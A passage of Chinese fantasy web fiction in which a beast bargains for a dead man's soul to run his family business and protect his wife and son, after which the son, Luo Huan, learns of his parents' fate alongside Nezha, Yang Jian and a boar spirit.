骆家和江家是家族联姻，但是骆骄和江余心也是真心相爱，骆环出生的时候，夫妻二人情意正浓，骆骄的事业蒸蒸日上。但是骆环出生的第二个月，骆骄去世了——暴毙而亡。
駮兽就是在这个时候找上了江余心，他带着骆骄的灵魂，在江余心的见证下，和骆骄做了约定：他用骆骄的身体，继续打造骆家的商业帝国，并且要保护江余心母子二人，等到骆环成年后，他用骆骄的身体分离出自己的公司，再将骆家的产业还给骆环。
江余心只是一个千金大小姐，她从小过得太顺遂，对生意上的事情一窍不通，骆环还太小，等他长大，只怕骆家早已被其他人瓜分干净。
这桩生意很是划算。
骆骄唯一没有告诉江余心的是，代价是他的灵魂。
他的灵魂被駮兽吞噬，换来了江余心母子二人的衣食无忧。
这些年，江余心唯一的期盼就是骆环成年。
但她没能等到。
“是不是那个妖怪害的她？”
“不是。”野猪精摇摇头，“她是寿命到了。”
骆环扭头看哪吒，哪吒抿着唇点了点头。
骆环无言。
“你爸爸妈妈都很爱你。”
他们都很爱他，假如骆骄还在的话，骆环绝不会是如今这个样子。
徐嘉凡拍了拍他的肩膀，低声道：“你得振作起来。”
不用多久，大家就会知道骆骄“失踪”了。
骆家如今更上几层楼，骆环还没有成年，骆家的家业何去何从，还是未知数。
骆环环顾四周，说：“我要先回家。”
他对野猪精说：“你和我一起。”
野猪精小心地看了看杨戬三人的脸色，见他们似乎没有反对，才跟上了骆环的脚步。
哪吒挠了挠头：“总觉得哪里不对。”
杨戬拍了拍他的头，说：“是啊，你今天逃课的事情还没解决。”
哪吒立刻拉着徐嘉凡往外跑，“我先去学校了！”